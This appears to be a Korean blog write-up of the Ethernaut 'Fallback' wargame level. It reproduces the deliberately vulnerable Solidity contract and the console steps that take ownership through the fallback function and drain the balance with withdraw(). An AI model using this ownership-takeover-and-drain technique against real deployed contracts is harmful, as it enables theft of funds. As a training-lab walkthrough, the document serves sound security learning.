레벨 1. Fallback

https://ethernaut.zeppelin.solutions/level/0x234094aac85628444a82dae0396c680974260be7

 

 

Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract
  2. you reduce its balance to 0

  Things that might help

  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units -see help() command-
  • Fallback methods

 

자 다음 문제다.

 

계약의 소유권을 뺏고  Root권한을 뺏는것과 비슷하다.

 

해커들은 먼가를 뺏어야된다?!

 

그리고 잔액을 0을 만들라고 한다.

 

Untitled.sol

pragma solidity ^0.4.18;

import './Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

 

 

 

Ownable.sol

pragma solidity ^0.4.18;


/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

 

 

 

 

pragma solidity ^0.4.18버전이다 그러면

select에서  0.4.18의 최신버전을 맞추어 주고

 

Auto complie 옵션을 체크하는게 좋다.

버전 안맞아서 에러 뜨는 경우가 흔하다.

 

import에서 Ownable.sol파일과 함께 컴파일 된다.

 

 

 

 

 

 

 

문제 소스를 보면 contribute()를 실행하는데 이더를 0.001 ether보다

작게 보내면  오너 권한을 잠시 빌리게 된다.

 

 

그리고 withdraw()를 실행하면

owner.transfer(this.balance);

 

잔액을 가지고 오는 형태다.

플레이어주소 = 메타마스크 주소다.

 

메타마스크가 자바스크립트로 되어 있어서

호환된다.

 

이문제는 솔리디티 컴파일 안해도 풀수 있는 문제이긴 하다.

 

 

오너 주소 확인

await contract.owner()
"0x234094aac85628444a82dae0396c680974260be7"

플레이어 주소 확인

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f

 

계약 인스턴스 확인 contract.address

instance
"0xf14cc443e95edb000962252225468bce8442a8aa"

메타마스크로 인스턴스 주소로 송금 0.0001 eth

오너 주소 플레이어주소로  바뀌었음
await contract.owner()
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

플레이어주소

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

 

계좌 확인

await getBalance(instance)
"0.0021"

취약한 함수 실행 오너권한으로 계좌 훔치기

contract.withdraw()
Promise {<pending>}

 

계좌가 0원된거 확인

await getBalance(instance)
"0"

 

 


 

 

처음은 두 주소가 다르지만

권한을 획득하면 두 주소가 같게 되면서 다음문제를 풀수 있다.

 

 

메타마스크를 통해 인스턴스 주소를 보내면 

owner와 player의 계좌가 동일 한걸 알수 있다.

 

 

 

 

 

스마트컨트렉 취약점은 졸라 무서운게 PK가 없더라도 돈을 빼올수 있다.

 

일반 집이든 근로든 계약서 잘 신경쓰라고 하는것도

 

같은거다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Ethernaut' 카테고리의 다른 글

ethernaut.zeppelin.solutions 0. Hello Ethernaut  (0) 2018.12.28
블로그 이미지

iesay

,